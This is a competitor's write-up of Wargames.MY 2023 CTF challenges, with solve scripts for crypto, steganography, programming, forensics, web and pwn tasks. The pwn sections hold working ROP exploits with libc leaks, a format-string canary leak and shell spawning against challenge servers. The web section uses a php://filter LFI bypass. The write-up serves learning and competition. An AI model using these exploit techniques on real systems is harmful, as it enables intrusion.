Hello, I am Roti Canai. I came in second in the Open Category of Wargames.MY 2023. ![second](https://hackmd.io/_uploads/BJ8txspLa.png) It was a close fight at the end, but congratulations to Team `obligatory`. Also thanks to the organisers for creating a tough but enjoyable CTF. # CRYPTO ## N-less RSA In this challenge, I am given `q = p*13 - 37*0xcafebabe + unknown` where `unknown` is small. I am not given the modulus but am given `phi = (p-1)*(q-1)`. So I can break it by just guessing over the possible values of `unknown`. ```python= from sage.all import * from Crypto.Util.number import * phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480 e=65537 c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484 p = ZZ['p'].gen() for unknown in range(9999): q = p*13 - 37*0xcafebabe + unknown roots = ((p-1)*(q-1) - phi).roots() if roots: p = roots[0][0] q = q(p = p) break d = pow(e, -1, phi) m = pow(c, d, p*q) print(long_to_bytes(ZZ(m))) # wgmy{a9722440198c2abad490478875be2815} ``` ## Hohoho 2 (both versions) I did the Continue version first, and it happened that the solution could also be used on the original. The token maps `a` to `(a*x + c) % m`, so I pick `x = c/(1-a) mod m`. This gives `x = 25461419141983805977965271889242608353`. If I generate random strings, roughly 1/m of them will have the right value. Since `m` has 39 digits, I can use a lattice over 39 digits, and I obtain the string "Santa Claus and his 657057913575178393208023679826151332889 elves". So in both cases, I just log in with `Santa Claus and his 657057913575178393208023679826151332889 elves` and `1327b0e270df8c87fc0e6e7be6bdd2e1` to get the flag. - Original: `wgmy{6bd7f862cbfa8b802a63b09979d00ee6}` - Continue: `wgmy{de112c46f10460e45cc4bcd76abd804a}` # MISC ## Splice The alpha channel of page3.png tells me how the two QR codes combined (i.e. both are black, both are white, or exactly one black and one white). In the last case I don't know which is white and which is black. But that's ok, because I can recover the entire QR except the middle section. And even then it's only half the middle section, so I have enough to recover. ![splice](https://hackmd.io/_uploads/S16_bia8p.png) This gives `d2dteXs1ZDdiZGVhNjU0NzJjYT` and `llNjE1ZmNiZDBmOTBhM2I0OX0=`, so the flag base64-decodes to `wgmy{5d7bdea65472ca9e615fcbd0f90a3b49}`. ## Sayur I started by uploading the image to aperisolve, where I notice the zsteg option `b2,rgba,lsb,xy` starts off with some interesting text `KemudianKemudianSayurSayurKemudianLatihSayur...`. Looking at the full text, there appear to be only four distinct words: Sayur, Kemudian, Banyak, Latih (as stated in the description). If I give them the bits 00, 01, 10 and 11 respectively, it turns into yet another text string `PracticeManyThenThenManyPracticeVegetableVegetableMany...`. These are just the English versions of the previous words, so I can repeat the process. This time I get some Chinese text `就练就练就多就练就多...`, and again these are just the Chinese versions of the previous words. ```python= from pwn import unbits z1 = 'KemudianKemudianSayurSayurKemudianLatihSayur...' z2 = unbits(z1.replace('Sayur', '00').replace('Kemudian', '01').replace('Banyak', '10').replace('Latih', '11')).decode() z3 = unbits(z2.replace('Vegetable', '00').replace('Then', '01').replace('Many', '10').replace('Practice', '11')).decode() z4 = unbits(z3.replace('菜', '00').replace('就', '01').replace('多', '10').replace('练', '11')).decode() print(z4) # wgmy{0cec1062809ad4e393f0acbfa895f29f} ``` ## Dialect This is obviously a variant of brainf\*ck. The numbers are a run-length encoding of the next character, and this gives the first few characters of the flag. Then there are a few unknown `\xXX` characters, but only nine distinct ones. Some simple analysis can be done to show that `\xC1` and `\xD3` must be `+` and `-` in some order. And also that `\xC3` and `\xD2` must be `<` and `>` in some order. And that `\xD8` is a dot. This leaves four unknown values, which must be digits. I don't know which digits it is, so just brute force over all ten thousand possibilities, which gives us four possible flags. I submit all four flags in the answer checker, and one of them is correct! I think it was `wgmy{6d7abda263a571fb6a2d22c0a8ebd158}`. # PPC ## Linux Memory Usage This is just memoisation. Here is my solve script. ```python= n, q = map(int, input().split()) children = {} mem = {} for _ in range(n): a,b,c = map(int, input().split()) children.setdefault(b, []) children[b].append(a) mem[a] = c ans = {} def get(x): if x in ans: return ans[x] stack = [x] while stack: y = stack[-1] bad_children = [c for c in children.get(y, []) if c not in ans] if bad_children: stack += bad_children else: stack.pop() ans[y] = mem[y] + sum(ans[i] for i in children.get(y, [])) return ans[x] for _ in range(q): print(get(int(input()))) ``` ## Lokami Temple The idea is that I want to find the center of the tree (which can be one or two vertices), and then the furthest points from it. I asked ChatGPT to write some code and then modified it a bit. ```python= from collections import defaultdict class Graph: def __init__(self): self.graph = defaultdict(list) def add_edge(self, u, v): self.graph[u].append(v) self.graph[v].append(u) def dfs(self, start, distances): parents = {} stack = [(start, 0, None)] # (node, distance, parent) while stack: node, distance, parent = stack.pop() distances[node] = distance for neighbor in self.graph[node]: if neighbor != parent: stack.append((neighbor, distance + 1, node)) parents[neighbor] = node return parents def find_center(self): # Step 1: Find the farthest node from an arbitrary starting point distances_from_arbitrary = [0] * len(self.graph) self.dfs(0, distances_from_arbitrary) farthest_node = max(range(len(distances_from_arbitrary)), key=distances_from_arbitrary.__getitem__) # Step 2: Find the farthest node from the previously found farthest node distances_from_farthest = [0] * len(self.graph) parents = self.dfs(farthest_node, distances_from_farthest) second_farthest_node = max(range(len(distances_from_farthest)), key=distances_from_farthest.__getitem__) tmp = [second_farthest_node] while tmp[-1] != farthest_node: tmp.append(parents[tmp[-1]]) if len(tmp) % 2 == 0: # there are two centers centers = [tmp[len(tmp)//2-1], tmp[len(tmp)//2]] else: centers = [tmp[len(tmp)//2]] # print(centers) # # Calculate the center by finding the midpoint between the two farthest nodes # center = (farthest_node, second_farthest_node) # return center exits = set() for center in centers: # print(f'{center=}') dists = [0] * len(self.graph) self.dfs(center, dists) max_dist = max(dists) inds = [i for i,v in enumerate(dists) if v==max_dist] exits.update(inds) # print(f'{max_dist=}, {inds=}') print('Entrance(s): ' + ' '.join(str(x + 1) for x in sorted(centers))) print('Exit(s): ' + ' '.join(str(x + 1) for x in sorted(exits))) print('Path Length: ' + str(max_dist)) # Example Usage: if __name__ == "__main__": # Create a sample tree tree = Graph() # tree.add_edge(0, 1) # tree.add_edge(1, 2) # tree.add_edge(1, 3) # tree.add_edge(2, 4) # tree.add_edge(2, 5) for _ in range(int(input())-1): a, b = map(int, input().split()) tree.add_edge(a-1, b-1) # Find the center of the tree tree.find_center() ``` # PWN ## Magic Door ROP chain with no PIE. I used `050015` to bypass the first check. ```python= from pwn import * import os elf = ELF('./magic_door') local = os.getenv('LOCAL', 1) print(f'{local=}') poprdi = p64(0x401434) retn = p64(0x401435) leak = p64(elf.got['puts']) puts_plt = p64(elf.plt['puts']) putrdi = p64(0x401369) if local == 1: io = process('./magic_door') puts_addr = 0x80ed0 binsh_addr = 0x1d8698 system_addr = 0x050d60 else: print('REMOTE') io = remote('13.229.222.125', 33448) # libc6_2.35-0ubuntu3.4_amd64 puts_addr = 0x080e50 binsh_addr = 0x1d8698 system_addr = 0x050d70 io.sendline(b'050015') io.sendline(b'A' * 72 + poprdi + leak + puts_plt + p64(0x401301)) io.readuntil(b'go? \n') puts_leak = u64(io.recv(6).ljust(8,b'\0')) print(hex(puts_leak)) libc_leak = puts_leak - puts_addr binsh_leak = p64(libc_leak + binsh_addr) system_leak = p64(libc_leak + system_addr) io.sendline(b'A' * 72 + retn + poprdi + binsh_leak + system_leak) io.sendline('id') io.interactive() # wgmy{4a029bf40a28039c8492acfa866f8d96} ``` ## Pak Mat Burger ROP chain with canary. I run it manually once first to get the secret, since is the same between instances in the same connection. Basically I can use `%[num]$p` and `%[num]$s` to leak the values at and pointed by those locations in the stack. ```python= from pwn import * import os local = os.getenv('LOCAL', 1) if local == 1: io = process('./pakmat_burger', env={'SECRET_MESSAGE':'deadface'}) ret_addr = 0x29d90 binsh_addr = 0x1d8698 system_addr = 0x050d60 poprdi_addr = 0x50edc secret = b'deadface' else: print('REMOTE') io = remote('13.229.222.125', 33306) secret = b'0e052ad2' # %53$s # libc6_2.35-0ubuntu3.4_amd64 ret_addr = 0x29d90 binsh_addr = 0x1d8698 system_addr = 0x050d70 poprdi_addr = 0x050eec io.sendline(b'%13$p%15$p') io.readuntil(b'0x') canary = p64(int(io.readuntil(b'0x',1), 16)) main_ret = int(io.readuntil(b',',1), 16) print(canary.hex()) print(hex(main_ret)) #input() io.sendline(secret) #secret message io.sendline(b'x') # type of burger libc_leak = main_ret - ret_addr binsh_leak = p64(libc_leak + binsh_addr) system_leak = p64(libc_leak + system_addr) poprdi = p64(libc_leak + poprdi_addr) retn = p64(libc_leak + poprdi_addr + 1) io.sendline(b'A' * 37 + canary + retn*2 + poprdi + binsh_leak + system_leak) io.sendline(b'id') io.interactive() # wgmy{bdd44777c70a7a9c7d07a073d3b439b5} ``` # WEB ## Warmup - Web First I got the password by feeding the javascript through https://obf-io.deobfuscate.io/ which gives me the password `"this_password_is_so_weak_i_can_crack_in_1_sec!"`. Entering the password fetches a request from `http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php`. But this is interesting because there is an LFI, and the flag is hidden in a comment in flag_for_warmup.php. So I can exfil this with `php://zlib.deflate` because there is a blacklist. ```python= import zlib, requests r = requests.get('http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=php://filter/zlib.deflate/resource=flag_for_warmup.php') print(zlib.decompress(r.content, -15)) ``` This printed ``` b"<?php\n\nerror_reporting(0);\n\necho('here\\'s your flag <small>in comment</small> <!-- well, maybe not this comment -->');\n\n// wgmy{1ca200caa85d3a8dcec7d660e7361f79}\n" ``` And I can see the flag in there, `wgmy{1ca200caa85d3a8dcec7d660e7361f79}`. # FORENSIC ## Compromised There are two main files of interest in here, `svc_wgmy/Desktop/flag.png` and `svc_wgmy/AppData/Local/Microsoft/Terminal Server Client/Cache/Cache0000.bin`. The first is just a zip file, so the second one must have the password. It starts with RDP8bmp, so I found BMC-Tools which can make sense of the data. After looking through 2000 bmps, something sticks out. ![compromised](https://hackmd.io/_uploads/HJ5bQs6L6.png) This is the zip password `WGMY_P4ssw0rd_N0t_V3ry_H4rd!!!`, and I can use it to extract the flag `wgmy{d1df8b8811dbe22f3dce67ef2998f21c}`.